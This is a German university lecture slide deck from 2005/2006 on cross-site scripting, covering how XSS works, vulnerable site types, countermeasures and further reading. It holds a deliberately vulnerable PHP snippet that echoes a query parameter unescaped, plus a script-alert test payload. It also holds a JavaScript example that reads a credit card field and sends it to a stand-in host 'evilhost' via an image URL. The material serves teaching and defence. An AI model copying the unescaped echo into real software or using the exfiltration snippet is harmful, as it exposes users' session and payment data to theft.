XSS – Cross Site Scripting

LMU – LFE Medieninformatik
Blockvorlesung **Web-Technologien**
Wintersemester 2005/2006

Florian Anderiasch

XSS – Inhalt

- Funktionsweise
- Codebeispiel 1
- Codebeispiel 2
- Mögliche Lücken
- Gegenmaßnahmen
- Literatur

Florian Anderiasch

XSS - Funktionsweise

- Angreifer schleust aktive Inhalte in eine Webseite ein (HTML, JavaScript)
- Benutzer ruft die Seite auf, schadhafter Code wird ausgeführt
- Browser des Benutzers übermittelt persönliche oder Session-Daten an Angreifer
- Möglicherweise Änderungen an Kundendaten und Einstellungen, Passwörtern oder Abschicken von vom Angreifer ausgefüllten Formularen

XSS – Codebeispiel 1

Folgender Code zeigt die wohl einfachste XSS-Lücke:

```
http://example/?q=test
http://example/?q=<script>alert('test');</script>
```

```
<?php
echo 'Ihre Suche nach "'.$_GET['q'].'"
 ergab folgende Treffer:<br />';
?>
```

XSS – Codebeispiel 2

```
<script type="text/javascript">
function evil() {
    var val =
       document.getElementById('frm').cc.value;
    document.write('<img
src="http://evilhost/?x='+val+'" />');
}</script>
<form id="frm">
Kreditkartennummer:
<input type="text" id="cc" />
<input type="submit" onclick="evil();" />
</form>
```

Florian Anderiasch

XSS - Mögliche Lücken

- Formulare für Adressdaten, EMail-Adressen, etc
- Webforen und Gästebücher
- Weblogs mit Kommentarfunktion
- eBay-Beschreibungsseiten
- Content-Management-Systeme
- Suchfunktion von Webseiten

XSS - Gegenmaßnahmen

- Benutzereingaben immer überprüfen
- Ausgaben escapen
- Whitelisting statt Blacklisting benutzen
- Aktive Inhalte nur zulassen, wenn es unbedingt nötig ist
- BBCode/Markdown/wiki-Markup statt HTML
- PHP: htmlentities(), strip_tags()
- PEAR: Validate, HTML_QuickForm

XSS - Literatur

- http://en.wikipedia.org/wiki/Cross_site_scripting
- http://angelo.scanit.biz/papers/xss.pdf
- http://www.heise.de/security/artikel/38658/0
- http://blog.bitflux.ch/wiki/XSS_Prevention
- http://ha.ckers.org/xss.html
- http://www.cgisecurity.com/articles/xss-faq.shtml
- http://www.hardened-php.net
- http://httpd.apache.org/info/css-security/
- http://mesh.dl.sourceforge.net/sourceforge/owasp/OWASPGuide2.0.1.pdf